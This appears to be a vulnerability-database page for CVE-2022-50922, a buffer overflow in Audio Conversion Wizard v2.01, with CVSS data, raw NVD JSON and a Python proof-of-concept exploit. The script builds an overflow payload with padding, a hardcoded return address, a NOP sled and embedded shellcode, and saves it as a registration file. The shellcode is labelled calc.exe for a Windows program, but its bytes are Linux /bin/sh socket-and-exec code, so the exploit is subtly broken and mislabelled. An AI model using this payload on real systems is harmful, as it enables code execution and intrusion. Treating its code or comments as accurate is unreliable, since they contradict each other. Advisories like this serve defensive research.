Security Vulnerability Report
中文
CVE-2022-50922 CVSS 9.8 CRITICAL

CVE-2022-50922

Published: 2026-01-13 23:15:56
Last Modified: 2026-04-15 00:35:42

Description

Audio Conversion Wizard v2.01 contains a buffer overflow vulnerability that allows attackers to execute arbitrary code by overwriting memory with a specially crafted registration code. Attackers can generate a payload that overwrites the application's memory stack, potentially enabling remote code execution through a carefully constructed input buffer.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Audio Conversion Wizard v2.01
Audio Conversion Wizard < v2.01.01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50922 PoC - Audio Conversion Wizard v2.01 Buffer Overflow # This is a conceptual proof-of-concept for educational and defensive purposes only import struct import sys def generate_exploit_payload(): """ Generate a buffer overflow payload for Audio Conversion Wizard v2.01 The actual offsets and shellcode may vary based on the target environment """ # Buffer size before overwriting return address buffer_size = 1008 # Approximate offset to EIP # NOP sled for reliable exploitation nop_sled = b'\x90' * 200 # Shellcode for calc.exe or reverse shell # This is a placeholder - actual shellcode would be environment-specific # Example: calc.exe shellcode (calc = calculator) shellcode = ( b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80\x89\xc7\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xff\x41\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80' ) # Return address pointing to NOP sled (0x0012F5A0 - example address) return_address = struct.pack('<I', 0x0012F5A0) # Construct the overflow buffer payload = b'A' * buffer_size + return_address + nop_sled + shellcode return payload def create_registration_file(): """Create a registration file with exploit payload""" payload = generate_exploit_payload() # Save to file that the application might read during registration with open('exploit_reg.txt', 'wb') as f: f.write(payload) print(f"[+] Exploit payload generated: {len(payload)} bytes") print(f"[+] Payload saved to exploit_reg.txt") print(f"[!] This PoC is for educational purposes only") if __name__ == '__main__': create_registration_file()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50922", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:56.143", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Audio Conversion Wizard v2.01 contains a buffer overflow vulnerability that allows attackers to execute arbitrary code by overwriting memory with a specially crafted registration code. Attackers can generate a payload that overwrites the application's memory stack, potentially enabling remote code execution through a carefully constructed input buffer."}, {"lang": "es", "value": "Audio Conversion Wizard v2.01 contiene una vulnerabilidad de desbordamiento de búfer que permite a los atacantes ejecutar código arbitrario sobrescribiendo la memoria con un código de registro especialmente diseñado. Los atacantes pueden generar una carga útil que sobrescribe la pila de memoria de la aplicación, lo que potencialmente permite la ejecución remota de código a través de un búfer de entrada cuidadosamente construido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50811", "source": "[email protected]"}, {"url": "https://www.litexmedia.com/audio-wizard/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/audio-conversion-wizard-buffer-overflow", "source": "[email protected]"}]}}